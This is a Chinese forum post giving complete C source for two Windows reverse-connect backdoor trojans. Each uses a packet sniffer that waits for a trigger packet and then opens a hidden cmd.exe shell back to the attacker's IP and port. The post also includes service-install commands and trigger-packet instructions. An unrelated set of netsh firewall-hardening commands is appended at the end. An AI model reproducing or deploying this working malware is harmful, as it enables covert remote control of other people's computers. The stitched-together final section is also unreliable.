extern DWORD WINAPI UserThreadFunc(LPVOID lpParam);
int ListenUserMain(void)
{
   SOCKET SnfSock;
   if(!SetSocketHand(&SnfSock, SOCK_RAW)) {
       return 0;
   }
   if(!Start_Sniffer(SnfSock)) {
       return 0;
   }
   if(!RecvRightData(SnfSock)) {
       ConCloseSocket(&SnfSock);
       return 0;
   }
   ConCloseSocket(&SnfSock);
   if(!SetSocketHand(&SnfSock, SOCK_STREAM)) {
       return 0;
   }
   if(!ContoReServer(&SnfSock,
                   (unsigned short)atoi(sfStk.nPort),
                   sfStk.szIp)) {
       ConCloseSocket(&SnfSock);
       return 0;
   }
   if(!UserThreadFunc((LPVOID)&SnfSock)){
       return 0;
   }
   return 1;
}


上面这个部分,除了UserThreadFunc函数是外部的,其他都是内部的,实现了嗅探.

UserThreadFunc函数就是用户线程函数,到了这个函数,就已经和用户建立了连接,下面就是交互式shell的代码了.如下:
代码

#include "mainheader.h"

//关闭cmd进程,防止用户强行断开连接
void closeCMD(USERCONTSTK * sck){
   if(sck->procinfo.hProcess != NULL){
       TerminateProcess(sck->procinfo.hProcess, -9);
       ConCloseHandle(&sck->procinfo.hProcess);
   }
}

//结束交互线程B,并关闭相应资源
void KillThreadHdB(USERCONTSTK * sck){
   if(sck->UserThreadHdB != NULL){
       TerminateThread(sck->UserThreadHdB, 0);
       ConCloseHandle(&sck->UserThreadHdB);
       ConCloseHandle(&sck->hReadPipe);
       ConCloseHandle(&sck->hReadFile);
       ConCloseHandle(&sck->hWriteFile);
       ConCloseHandle(&sck->hWritePipe);
       xfree(sck->buff);
   }
}

//结束cmd交互,并中断连接
void quitTELcon(USERCONTSTK * sck){
   if(sck->getCMD == 1){
       KillThreadHdB(sck);
       closeCMD(sck);
       sck->getCMD = 0;
   }
   rnvCasemsg(sck->UserSck, "Bye~^_^~\r\n");
   sck->ExitIn = 1;
}

//结束cmd交互,返回后门shell下
void backtoCON(USERCONTSTK * sck)
{
   KillThreadHdB(sck);
   rnvCasemsg(sck->UserSck,"==========================\r\n"
                           "S8S8\\>");
   sck->getCMD = 0;
}

//交互线程B,获取cmd输出,发送给用户端
DWORD WINAPI ThreadFuncB(LPVOID lpParam){

#define MAX_BUFF_TB 4096
   USERCONTSTK *ThreadST = (USERCONTSTK *)lpParam;
   ThreadST->buff = (char*)malloc(MAX_BUFF_TB*sizeof(char));
   if(ThreadST->buff == NULL)
       return 0;
   ThreadST->Bann = 1;
   unsigned long howlong;
   DWORD rest;
   while(true){
       rest = ReadFile(ThreadST->hReadFile, ThreadST->buff, MAX_BUFF_TB, &howlong, NULL);
       if(rest <= 0){
           xfree(ThreadST->buff);
           return 0;
       }
       send(ThreadST->UserSck, ThreadST->buff, howlong, 0);
   }
   return 0;
}


//产生并捆绑一个cmdshell.
short GetConSel(USERCONTSTK *sck){
   if(sck->getCMD == 1) {
       return 0;
   }
   memset(&sck->pipeattrA, 0, sizeof(sck->pipeattrA));
   sck->pipeattrA.nLength = sizeof(SECURITY_ATTRIBUTES);
   sck->pipeattrA.lpSecurityDescriptor = NULL;
   sck->pipeattrA.bInheritHandle = TRUE;
   if(!CreatePipe(&sck->hReadPipe, &sck->hWriteFile, &sck->pipeattrA, 0)){
       rnvErrorID(sck->UserSck, "CreatePipe:");
       return 0;
   }
   memset(&sck->pipeattrB, 0, sizeof(sck->pipeattrB));
   sck->pipeattrB.nLength = sizeof(SECURITY_ATTRIBUTES);
   sck->pipeattrB.lpSecurityDescriptor = NULL;
   sck->pipeattrB.bInheritHandle = TRUE;
   if(!CreatePipe(&sck->hReadFile, &sck->hWritePipe, &sck->pipeattrB, 0)){
       rnvErrorID(sck->UserSck, "CreatePipe:");
       ConCloseHandle(&sck->hReadPipe);
       ConCloseHandle(&sck->hWriteFile);
       return 0;
   }
   DWORD  UserThreadIdB;
   sck->Bann = 0;
   if((sck->UserThreadHdB = CreateThread(NULL, 0, ThreadFuncB, (LPVOID *)sck, 0,
       &UserThreadIdB))==0){
       rnvErrorID(sck->UserSck, "CreateThreadB:");
       ConCloseHandle(&sck->hReadPipe);
       ConCloseHandle(&sck->hWriteFile);
       ConCloseHandle(&sck->hReadFile);
       ConCloseHandle(&sck->hWritePipe);
       return 0;
   }
   STARTUPINFO  starinfo;
   GetStartupInfo(&starinfo);
   starinfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
   starinfo.hStdInput = sck->hReadPipe;
   starinfo.hStdError = starinfo.hStdOutput = sck->hWritePipe;
   starinfo.wShowWindow = SW_HIDE;
   char Cmdpath[MAX_PATH+20] = "";
   char ConSystemPath[MAX_PATH] = "";
   DWORD ren = GetSystemDirectory(ConSystemPath, MAX_PATH);
   if(ren != strlen(ConSystemPath)){
       rnvErrorID(sck->UserSck, "GetSystemDirectory:");
       KillThreadHdB(sck);
       return 0;
   }
   sprintf(Cmdpath, "%s\\cmd.exe", ConSystemPath);
   if(CreateProcess(Cmdpath, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &starinfo,
       &sck->procinfo)==0){
       rnvErrorID(sck->UserSck, "CreateProcess:");
       KillThreadHdB(sck);
       return 0;
   }
   sprintf(Cmdpath,"========================\r\n"
                   "=ThreadID = %ld\r\n"
                   "=ProcessID = %ld\r\n"
                   "========================\r\n\0",
                   UserThreadIdB,
                   sck->procinfo.dwProcessId);
   rnvCasemsg(sck->UserSck, Cmdpath);
//如果建立线程B超时,退出
   short _timeOut = 0;
   while(sck->Bann == 0){
       if(_timeOut++ > 50){
           rnvErrorID(sck->UserSck, "TIMEOUT");
           closeCMD(sck);
           KillThreadHdB(sck);
           return 0;
       }
       Sleep(50);
   }
//设置为已经获得cmdshell
   sck->getCMD = 1;
   return 1;
}

//输出banner
void TypeHelp(USERCONTSTK * sck){

   rnvCasemsg(sck->UserSck,"\r\n+++++++++++++++++++++++++++++++++++++++++++++++++++\r\n"
                           "+quit<q>                               exit\r\n"
                           "+help<h>                               exit\r\n"
                           "+shell<s>                              cmd shell\r\n"
                           "+++++++++++++++++++++++++++++++++++++++++++++++++++\r\n");
}

//命令行分析
void WINAPI gocommand(USERCONTSTK * sck,char *comm)
{
   ConDel1013(comm);
   char cmdline[10][256] = {""};
   int comline_num = getcmdline(comm, &cmdline[0][0], 256, 10) + 1;
   if(strcmpi(cmdline[0], "") == 0){
       return;
   }
   cmdline[0][0]=toupper(cmdline[0][0]);
   switch(cmdline[0][0]){
       case 'Q':{
           if((strcmpi(cmdline[0], "q") == 0) || (strcmpi(cmdline[0], "quit") == 0)
               && comline_num == 1)
               quitTELcon(sck);
           else
               goto NoCommand;
           break;
       }
       case 'S':{
           if((strcmpi(cmdline[0], "s") == 0) || (strcmpi(cmdline[0], "shell") == 0)
               && comline_num == 1)
               GetConSel(sck);
           else
               goto NoCommand;
           break;
       }
       case '?':
       case 'H':{
           if((strcmpi(cmdline[0], "h") == 0 || strcmpi(cmdline[0], "help") == 0 || strcmpi(cmdline[0], "?") == 0))
               TypeHelp(sck);
           else
               goto NoCommand;
           break;
       }
       default:
           NoCommand:
           rnvCasemsg(sck->UserSck,"Bad Command!\r\n");
   }  
}

//交互线程A,可以作为后门本身的shell,也可以作为CMDshell的输入
void BeginShell(USERCONTSTK  *sck){
   char  buff[1024] = {0},buf[1024] = {0};
   long  howlong;
   DWORD  nothing;

   rnvCasemsg(sck->UserSck,    "++++++++++++++++++++++++++++++++++++\r\n"
                               "+Easy  BackDoor\r\n"
                               "+Coder By ZV(zvrop@163.com)\r\n"
                               "+Site  http://www.s8s8.net\r\n"
                               "++++++++++++++++++++++++++++++++++++\r\n"
                               "S8S8\\>");
   while(true){
       memset(buf, 0, 1024);
       howlong = recv(sck->UserSck, buf, 1023 - strlen(buff), 0);
       if(howlong <= 0){
           quitTELcon(sck);
           return;
       }
       strncat(buff, buf, howlong);
       if(buf[howlong-1] == '\n'){
           if(sck->getCMD != 0){
               if(buff[0] == '`'){
                   gocommand(sck, buff + 1);
               }else{
                   WriteFile(sck->hWriteFile, buff, strlen(buff), &nothing, NULL);
                   if(!strnicmp(buff, "exit", 4))
                       backtoCON(sck);
               }
           }else{
               gocommand(sck, buff);
               if(sck-> ExitIn == 1){
                   return;
               }
               rnvCasemsg(sck->UserSck, "S8S8\\>");
           }
           memset(buff, 0, 1024);
           if(sck-> ExitIn == 1){
               return;
           }
       }
   }
}

//用户界面入口,申请一个结构用来保存,是为了兼容多用户
DWORD WINAPI UserThreadFunc(LPVOID lpParam){
   USERCONTSTK  *sck = (USERCONTSTK *)malloc(sizeof(USERCONTSTK));
   if(sck == NULL){
       rnvErrorID(*(SOCKET *)lpParam, "malloc:");
       ConCloseSocket((SOCKET *)lpParam);
       return 0;
   }
   memset(sck, 0, sizeof(USERCONTSTK));
   sck->UserSck = *(SOCKET *)lpParam;
   BeginShell(sck);
   ConCloseSocket(&sck->UserSck);
   free(sck);
   return 1;
}


最后一个部分是公共函数部分,提供了一些函数的包装.如下:
代码

#include "mainheader.h"

#define MAX_TIMEOUT             20000

//关闭socket句柄
void ConCloseSocket(SOCKET *Sock) {
   if(*Sock == 0 || *Sock == SOCKET_ERROR)
       return;
   closesocket(*Sock);
   *Sock = 0;
}

//关闭句柄
void ConCloseHandle(HANDLE *Hand){
   if(*Hand == NULL || *Hand == INVALID_HANDLE_VALUE)
       return;
   CloseHandle(*Hand);
   *Hand = NULL;
}

//释放内存
void xfree(char *bf){
   if(bf == NULL || bf == 0)
       return;
   free(bf);
   bf = NULL;
}


//设置监听
int LocalListen(SOCKET Sock) {
   if(listen(Sock, 5) == SOCKET_ERROR)
       return 0;
   return 1;
}

//连接远程服务器
int ContoReServer(SOCKET *sock, unsigned short port, char *reAddr) {
   struct sockaddr_in server_addr;
   server_addr.sin_family = AF_INET;
   server_addr.sin_port   = htons(port);
   struct hostent *server_host;
   server_host = gethostbyname( reAddr );
   if(server_host == NULL)
       return 0;
   memcpy( (void *) &server_addr.sin_addr,
       (void *) server_host->h_addr,
       server_host->h_length );
   int len = sizeof( server_addr );
   if( connect( *sock, (struct sockaddr *)
        &server_addr, len ) < 0 )
       return 0;
   return 1;
}

//申请网络环境
int SetSocketDll(void) {
   WSADATA wsaData;
   if(SOCKET_ERROR == WSAStartup(MAKEWORD(2, 2), &wsaData)){
       return 0;
   }
   return 1;
}

//申请连接句柄
int SetSocketHand(SOCKET *Sock, DWORD SOCKTYPE) {
   *Sock = socket(AF_INET , SOCKTYPE , IPPROTO_IP);
   if(*Sock == SOCKET_ERROR)
       return 0;
   return 1;
}

//发送消息给用户端
void rnvCasemsg(SOCKET Sock, char *msg) {
   if (strlen(msg) <= 0)
       return;
   send(Sock, msg, strlen(msg),0);
}

//发送带错误码的消息给用户端
void rnvErrorID(SOCKET Sock, char *msg) {
   char rmsg[256] = {""};
   sprintf(rmsg, "\r\nERROR>%s:%d\r\n", msg, GetLastError());
   rnvCasemsg(Sock, rmsg);
}

//兼容nc和telnet
void ConDel1013(char *str) {
   for(unsigned int i =0; i < strlen(str); i++)
       if(str[i] == '\r' || str[i] == '\n')
           str[i] = '\0';
}

extern MAINPARAMETERSTK mpStk;

//密码比较,这里可以加上md5
short chkPass(char *pass) {
   if(strnicmp(pass, mpStk.szUserPasd, strlen(mpStk.szUserPasd))==0)
       return 1;
   return 0;
}

//分解命令行的函数
short getcmdline(char *comm, char *cmdline, short cont, short num){
   short j = 0, geti = 0, is20 = 0;
   for(short i = 0; comm[i] != '\0' && geti < num; i++){
       if(comm[i] != ' ' || is20 >= 1){
           if(comm[i] == '"') is20++;
           else if(is20 >= 2 && comm[i] == ' ') is20 = 0;
           else if(j < cont){
      &nbs, p; &nb, sp;      cmdline[geti * cont + j] = comm[i];
               j++;
           }
       }
       if(comm[i] == ' ' && geti < num && is20 == 0){
           geti++;
           j = 0;
       }
   }
   return geti;
}

//获得本机IP函数
int msGetip(char *ipin, char* ipout){
   char cHostName[80]="";
   if((gethostname(cHostName, 80)) == SOCKET_ERROR)
       return false;
   struct hostent *Host = gethostbyname(cHostName);
   if(NULL!=Host){
       struct in_addr addr;
       int i = 0;
       while(Host->h_addr_list[i] != NULL){
           memcpy(&addr, Host->h_addr_list[i], sizeof(addr));
           if(addr.S_un.S_un_b.s_b1 == 192 && addr.S_un.S_un_b.s_b2 == 168){
               if(strlen(ipin) == 0){
                   strcpy(ipin, inet_ntoa(addr));
               }
           }else if(addr.S_un.S_un_b.s_b1 == 172 && (addr.S_un.S_un_b.s_b2 >= 16 && addr.S_un.S_un_b.s_b2 <= 131)){
               if(strlen(ipin) == 0){
                   strcpy(ipin, inet_ntoa(addr));
               }
           }else if(addr.S_un.S_un_b.s_b1 == 10 ){
               if(strlen(ipin) == 0){
                   strcpy(ipin, inet_ntoa(addr));
               }
           }else{
               if(strlen(ipout) == 0){
                   strcpy(ipout, inet_ntoa(addr));
               }
           }
           i++;
       }
       if(strlen(ipout) == 0) {
           strcpy(ipout, ipin);
       }
       if(strlen(ipin) == 0){
           strcpy(ipin, ipout);
       }
       return 1;
   }
   return 0;
}


还要来一个就是程序的头文件:如下:
代码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>
#include <windows.h>

//用户结构
typedef struct _USERCONTSTK{
   int     getCMD;
   char*   buff;
   int     ExitIn;
   int     Bann;
   SOCKET  UserSck;
   HANDLE  UserThreadHdB;        
   HANDLE  hWritePipe;        
   HANDLE  hWriteFile;            
   HANDLE  hReadPipe;        
   HANDLE  hReadFile;        
   SECURITY_ATTRIBUTES pipeattrA;
   SECURITY_ATTRIBUTES pipeattrB;
   PROCESS_INFORMATION procinfo;  
}USERCONTSTK,*PUSERCONTSTK;

//后门参数结构
typedef struct _MAINPARAMETERSTK{
   char szUserPasd[100];
   char KeyData[100];
}MAINPARAMETERSTK,*PMAINPARAMETERSTK;

//嗅探数据结构
typedef struct _SNIFFERDATASTK{
   char name[100];
   char szIp[100];
   char nPort[100];
}SNIFFERDATASTK,*PSNIFFERDATASTK;

//ip头部结构
typedef struct _iphdr {
   unsigned char h_lenver;    
   unsigned char tos;    
   unsigned short total_len;  
   unsigned short ident;      
   unsigned short frag_and_flags;
   unsigned char ttl;    
   unsigned char proto;      
   unsigned short checksum;  
   unsigned int sourceIP;    
   unsigned int destIP;      
}IP_HEADER;

//tcp头部结构
typedef struct _tcphdr {
   USHORT th_sport;      
   USHORT th_dport;      
   unsigned int th_seq;      
   unsigned int th_ack;      
   unsigned char th_lenres;  
   unsigned char th_flag;    
   USHORT th_win;        
   USHORT th_sum;        
   USHORT th_urp;        
}TCP_HEADER;

//udp头部结构
typedef struct _udphdr {
   unsigned short uh_sport;    
   unsigned short uh_dport;    
   unsigned short uh_len;      
   unsigned short uh_sum;    
} UDP_HEADER;

//icmp头部结构
typedef struct _icmphdr {
   BYTE  i_type;          
   BYTE  i_code;          
   USHORT i_cksum;        
   USHORT i_id;          
   USHORT i_seq;          
   ULONG timestamp;      
}ICMP_HEADER;

//一些变量和函数的声名
extern MAINPARAMETERSTK mpStk;

extern void ConCloseSocket(SOCKET *Sock);
extern int LocalListen(SOCKET Sock);
extern int ContoReServer(SOCKET *sock, unsigned short port, char *reAddr);
extern int SetSocketDll(void);
extern int SetSocketHand(SOCKET *Sock, DWORD SOCKTYPE);
extern void rnvCasemsg(SOCKET Sock, char *msg);
extern void rnvErrorID(SOCKET Sock, char *msg);
extern void ConDel1013(char *str);
extern short chkPass(char *pass);
extern short getcmdline(char *comm, char *cmdline, short cont, short num);
extern int msGetip(char *ipin, char* ipout);
extern void ConCloseHandle(HANDLE *Hand);
extern void xfree(char *bf);


所有的公共函数都在这里面.

后语:

之所以写这么多代码 是因为我本人喜欢比较稳定的程序,大小不是问题,上面这个程序应该算是非常稳定的后门框架了(因为只用socket 1.0的函数写),包括用户shell和sniffer连接部分,用户可以无限次数的断开,重复连接,产生shell和退出,不会造成句柄和内存的堆积等 等问题.

另外,刚才看了看代码,发现不需要用的东西还是很多,大概是为了升级和扩充方便,很多地方留下了接口,有时间我会发一个精简的代码.^_^.

以下是编译好后测试的一张图:
主机是192.168.1.2,目标机器是192.168.1.3,本机监听端口为8888,默认的数据包标志是"www.s8s8.net",密码为"zvrop".

发送数据包是用vc的-u发送udp数据,c:\x.txt里面的内容是:
代码

www.s8s8.net zvrop 192.168.1.2 8888

分别是数据包标志,密码,反向连接ip,反向连接端口,中间用空格格开

注意顺序不要颠倒.


第五个反弹木马代码:作者 weibo
代码
headerf.h
这里面放了公共函数,还有一些声明

#ifndef _BDH_
#define _BDH_
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#pragma comment(lib,"ws2_32.lib")
#define SIO_RCVALL  _WSAIOW(IOC_VENDOR,1)

typedef struct _iphdr{
unsigned char h_lenver;
unsigned char tos;
unsigned short total_len;
unsigned short ident;
unsigned short frag_and_frag;
unsigned char ttl;
unsigned char proto;
unsigned short checksum;
unsigned int sourceIP;
unsigned int destIP;
}IP_HEADER;

typedef struct _udphdr{
unsigned short uh_sport;
unsigned short uh_dport;
unsigned short uh_len;
unsigned short uh_sum;
}UDP_HEADER;



extern int StartSniffer();
extern void StartWSA();
extern void returnMessage(SOCKET *Sock,char *msg);
extern void CreatePipeInSock();
extern int SetSocketHandle(SOCKET *Sock);
extern int ContoReServer(SOCKET *sock, unsigned short port, char *reAddr);

#endif



这里就是sniffer...这个sniffer只解析IP和UDP包。。。通过对UDP的解析来启动木马进程.
对于UDP解析来启动木马这块还没有怎么完善。只是很简单的。。。等待大家来补充了。。

最好解析UDP来提取内容。判断用户名。密码。然后启动木马进程
sniffer.cpp
代码


#include "headerf.h"
//---------------------------------------------------------------------------

//-----------------------------
char rcvbuf[65535];
SOCKADDR_IN siSource;
extern SOCKET ReSock;
char SourceIPAddr[16];
unsigned short SourcePort;
bool CanCon=true;
char WelcomeBuff[200] = "++++++++++++++++++++++++++++++++++++\r\n"
  "+EasyService  BackDoor\r\n"
  "+Coder By weibo(wbwap@sina.com)\r\n"
  "+Site  http://www.s8s8.net\r\n"
  "++++++++++++++++++++++++++++++++++++\r\n";
//-----------------------------
void DecodeIpPack(char *buf,int irec);
void DecodeUdpPack(char *buf,unsigned int buflen);
int msGetip(char *ipin, char* ipout);
void StartBackDoor(SOCKET *Sock,char *IPaddr);
//------------------------------
int StartSniffer()
{
       SOCKET SniffSock;
       struct sockaddr_in addr;
       unsigned char LocalName[256];
       struct hostent * hp;
       int ntime=1000;
       int rec;
       DWORD dwBufferLen[10];
       DWORD dwBufferInLen = 1;
       DWORD dwBytesReturned = 0;
       char in[20]="",out[20]="";
       StartWSA();
       SniffSock = socket(AF_INET,SOCK_RAW,IPPROTO_IP);
       setsockopt(SniffSock,SOL_SOCKET,SO_RCVTIMEO,(char*)&ntime,sizeof(ntime));
       addr.sin_family = AF_INET;
       addr.sin_port = INADDR_ANY;
       msGetip(in,out);
       addr.sin_addr.S_un.S_addr = inet_addr(out);
       bind(SniffSock,(PSOCKADDR)&addr, sizeof(addr));
       WSAIoctl(SniffSock,SIO_RCVALL,&dwBufferInLen,sizeof(dwBufferInLen),&dwBufferLen,sizeof(dwBufferLen),&dwBytesReturned ,NULL ,NULL);
       while(1)
       {
               memset(rcvbuf,0,sizeof(rcvbuf));
               rec = recv(SniffSock,rcvbuf,sizeof(rcvbuf),0);
               DecodeIpPack(rcvbuf,rec);


       }
}
//---------------------------------------------------------------------------
void DecodeIpPack(char *buf,int irec)
{
       int iproto;
       int iIphlen;
       IP_HEADER *pIPheader;
       pIPheader = (IP_HEADER *)buf;
       iproto=pIPheader->proto;
       iIphlen = sizeof(unsigned long) * (pIPheader->h_lenver & 0xf);

       if (iproto == IPPROTO_UDP)
       {
               siSource.sin_addr.s_addr = pIPheader->sourceIP;
               strncpy(SourceIPAddr,inet_ntoa(siSource.sin_addr),16);
               //printf("包类型:%s\n源IP:%s   ","UDP",SourceIPAddr);
               DecodeUdpPack(buf+iIphlen,irec);
       }

}

void DecodeUdpPack(char *buf,unsigned int buflen)
{
       char str[10];
       UDP_HEADER *pUdpheader;
       pUdpheader=(UDP_HEADER *)buf;
       siSource.sin_port = pUdpheader->uh_sport;
       SourcePort=ntohs(siSource.sin_port);

//这个地方就是判断是否启动进程的地方!!!!!!!!!!!!!!!!!!!
//这里是 如果塬端口为9876 才会起动木马进程。。连接你的1234断口   这些都可以改
//最好的方法是Decode UDP包。。然后分析内容。。。作判断是否打开木马。。。。
//没时间了。。。。


       if(CanCon)
       {
               if(SourcePort == 9876)
               {
                       StartBackDoor(&ReSock,SourceIPAddr);
               }
               CanCon=false;
       }
}


int msGetip(char *ipin, char* ipout)
{
  char cHostName[80]="";
  if((gethostname(cHostName, 80)) == SOCKET_ERROR)
      return false;
  struct hostent *Host = gethostbyname(cHostName);
  if(NULL!=Host){
      struct in_addr addr;
      int i = 0;
      while(Host->h_addr_list[i] != NULL){
          memcpy(&addr, Host->h_addr_list[i], sizeof(addr));
          if(addr.S_un.S_un_b.s_b1 == 192 && addr.S_un.S_un_b.s_b2 == 168){
              if(strlen(ipin) == 0){
                  strcpy(ipin, inet_ntoa(addr));
              }
          }else if(addr.S_un.S_un_b.s_b1 == 172 && (addr.S_un.S_un_b.s_b2 >= 16 && addr.S_un.S_un_b.s_b2 <= 131)){
              if(strlen(ipin) == 0){
                  strcpy(ipin, inet_ntoa(addr));
              }
          }else if(addr.S_un.S_un_b.s_b1 == 10 ){
              if(strlen(ipin) == 0){
                  strcpy(ipin, inet_ntoa(addr));
              }
          }else{
              if(strlen(ipout) == 0){
                  strcpy(ipout, inet_ntoa(addr));
              }
          }
          i++;
      }
      if(strlen(ipout) == 0) {
          strcpy(ipout, ipin);
      }
      if(strlen(ipin) == 0){
          strcpy(ipin, ipout);
      }
      return 1;
  }
  return 0;
}

void StartBackDoor(SOCKET *Sock,char *IPaddr)
{
       int rec;
//StartWSA();
       SetSocketHandle(Sock);
       rec = ContoReServer(Sock,1234,IPaddr);
       returnMessage(Sock,WelcomeBuff);
       CreatePipeInSock();
switch(rec)
{
 case 0:
  closesocket(ReSock);
  CanCon = true;
  break;
 case 1:
  CanCon = false;
  break;
}
}



这就是服务的主体。。。。。。。

本来还有个自动加为服务的功能。。。没时间了,马上走了。收拾东西去。。~~~~ZV来写吧。。。。
可以用 CreateService()函数。。
服务这块需要大家来改进~~

con.cpp
代码


#include "headerf.h"
//---------------------------------------------------------------------------
STARTUPINFO si;
PROCESS_INFORMATION pi;
SOCKET ReSock;
//-------------------------------

//---------------------------
void StartWSA()
{
       WSADATA wsa;
     
       WSAStartup(MAKEWORD(2,2),&wsa);
}

int ContoReServer(SOCKET *sock, unsigned short port, char *reAddr)
{
  int namelen;
  struct sockaddr_in server_addr;
  server_addr.sin_family = AF_INET;
  server_addr.sin_port   = htons(port);
  server_addr.sin_addr.S_un.S_addr = inet_addr(reAddr);
  namelen = sizeof(server_addr);
  if(connect(*sock, (SOCKADDR *)&server_addr,namelen) < 0 )
      return 0;
  return 1;
}

int SetSocketHandle(SOCKET *Sock)
{
  *Sock = WSASocket(PF_INET,SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
  if(*Sock == SOCKET_ERROR)
      return 0;
  return 1;
}


void returnMessage(SOCKET *Sock,char *msg)
{
  if (strlen(msg) <= 0)
      return;
  send(*Sock,msg,strlen(msg),0);
}
//下面这个是重订向si到Resock....等于一个简单的管道。。
//没太多时间。为了省事。。能实现cmd.
//最好能改写成管道CreatePipe()..
//这样可以对数据进行分析。。以便加入别的控制。。。。。。
void CreatePipeInSock()
{
       memset(&si, 0, sizeof(si));
       si.cb = sizeof(si);
       si.dwFlags = STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES;
       si.wShowWindow=SW_HIDE;
       si.hStdInput = si.hStdOutput = si.hStdError = (void *)ReSock;
       CreateProcess(NULL,"cmd.exe",NULL,NULL, TRUE, 0,0, NULL, &si, &pi );
}



backdoor.cpp
代码

#include "headerf.h"
//---------------------------------------------------------------------------
const int c_nEventCt = 3;
const int c_nEventIndexPause = 0;
const int c_nEventIndexContinue = 1;
const int c_nEventIndexStop = 2;
HANDLE g_arEventControl[c_nEventCt];
SERVICE_STATUS_HANDLE g_ssh;
DWORD g_dwStatus = SERVICE_STOPPED;
#pragma argsused
//服务状态给SCM
void SetStatus(DWORD dwStatus)
{
       SERVICE_STATUS ss =
               {
                       SERVICE_WIN32_OWN_PROCESS,
                       SERVICE_STOPPED,
                       SERVICE_ACCEPT_PAUSE_CONTINUE|
                       SERVICE_ACCEPT_STOP,
                       NO_ERROR,
                       0,
                       1,
                       5000
               };
       ss.dwCurrentState = dwStatus;
       SetServiceStatus(g_ssh,&ss);
       g_dwStatus = dwStatus;
}

//命令处理
VOID __stdcall Handler(DWORD dwCtl)
{
       switch(dwCtl)
       {
               case SERVICE_CONTROL_STOP:
                      WSACleanup();
                       break;

               default:
                       //nomal
                       break;
       }
}

bool HandleControl()
{
       bool bContinueRunning(true);

       DWORD dwWait = WaitForMultipleObjects(
                                               c_nEventCt,
                                               g_arEventControl,
                                               FALSE,
                                               0
                                               );
       int nIndex = dwWait - WAIT_OBJECT_0;
       if(nIndex>=0 && nIndex<c_nEventCt)
       {
               ResetEvent(g_arEventControl[nIndex]);

               switch(nIndex)
               {
                       case c_nEventIndexPause:
                               SetStatus(SERVICE_PAUSED);
                               break;
                       case c_nEventIndexContinue:
                               SetStatus(SERVICE_RUNNING);
                               break;
                       case c_nEventIndexStop:
                               SetStatus(SERVICE_STOP_PENDING);
                               bContinueRunning = false;
                               break;
               }
       }
       return (bContinueRunning);
}

VOID __stdcall ServiceMain(DWORD dwArgc,LPSTR* lpszArgv)
{
       g_arEventControl[c_nEventIndexPause] = CreateEvent(NULL,TRUE,FALSE,NULL);
       g_arEventControl[c_nEventIndexContinue] = CreateEvent(NULL,TRUE,FALSE,NULL);
       g_arEventControl[c_nEventIndexStop] = CreateEvent(NULL,TRUE,FALSE,NULL);

       g_ssh = RegisterServiceCtrlHandler(lpszArgv[0],Handler);

       SetStatus(SERVICE_START_PENDING);
       SetStatus(SERVICE_RUNNING);

       while(HandleControl())
       {
               if(g_dwStatus == SERVICE_RUNNING)
               {

                       StartSniffer();

               }

       }

       for(int nEvent = 0;nEvent < c_nEventCt;++nEvent)
       {
               CloseHandle(g_arEventControl[nEvent]);
               g_arEventControl[nEvent] = INVALID_HANDLE_VALUE;

       }

       SetStatus(SERVICE_STOPPED);
}

int __stdcall WinMain(
                       HINSTANCE hInstance,
                       HINSTANCE hPrevInstance,
                       LPSTR lpszCmdLine,
                       int nCmdShow
                       )
{
       SERVICE_TABLE_ENTRY arSvc[] =
       {
               {"ConEvent",ServiceMain},
               {NULL,NULL}
       };

       StartServiceCtrlDispatcher(arSvc);
return 0;
}




手动加为服务

编译好后
进入cmd

运行 sc create 随便一个名字 binpath= path

例子: sc create BackDoor binpath= c:\backdoor.exe


这个很草。。。。。。等我度过军训。有时间了。。回来再写~~~~88


附件是我用bcb6写的。。。

怎样通过命令管理Windows7桌面防火墙

(1)启用桌面防火墙
netsh advfirewall set allprofiles state on
(2)设置默认输入和输出策略
netsh advfirewall set allprofiles firewallpolicy allowinbound,allowoutbound
以上是设置为允许,如果设置为拒绝使用blockinbound,blockoutbound
(3)关闭tcp协议的139端口
netsh advfirewall firewall add rule name="deny tcp 139" dir=in protocol=tcp localport=139 action=block
(4)关闭udp协议的139端口
netsh advfirewall firewall add rule name="deny udp 139" dir=in protocol=udp localport=139 action=block
(5)关闭tcp协议的445端口
netsh advfirewall firewall add rule name="deny tcp 445" dir=in protocol=tcp localport=445 action=block
(6)关闭udp协议的445端口
netsh advfirewall firewall add rule name="deny udp 445" dir=in protocol=udp localport=445 action=block
(7)使用相同的方法,依次关闭TCP协议的21、22、23、137、138、3389、5800、5900端口。
netsh advfirewall firewall add rule name= "deny tcp 21" dir=in protocol=tcp localport=21 action=block
netsh advfirewall firewall add rule name= "deny tcp 22" dir=in protocol=tcp localport=22 action=block
netsh advfirewall firewall add rule name= "deny tcp 23" dir=in protocol=tcp localport=23 action=block
netsh advfirewall firewall add rule name= "deny tcp 3389" dir=in protocol=tcp localport=3389 action=block  学习电脑
netsh advfirewall firewall add rule name= "deny tcp 5800" dir=in protocol=tcp localport=5800 action=block
netsh advfirewall firewall add rule name= "deny tcp 5900" dir=in protocol=tcp localport=5900 action=block
netsh advfirewall firewall add rule name= "deny tcp 137" dir=in protocol=tcp localport=137 action=block
netsh advfirewall firewall add rule name= "deny tcp 138" dir=in protocol=tcp localport=138 action=block
(8)执行完毕后暂停
pause
echo 按任意键退出
2.恢复初始配置
(1)恢复初始防火墙设置
netsh advfirewall reset
(2)关闭防火墙
netsh advfirewall set allprofiles state off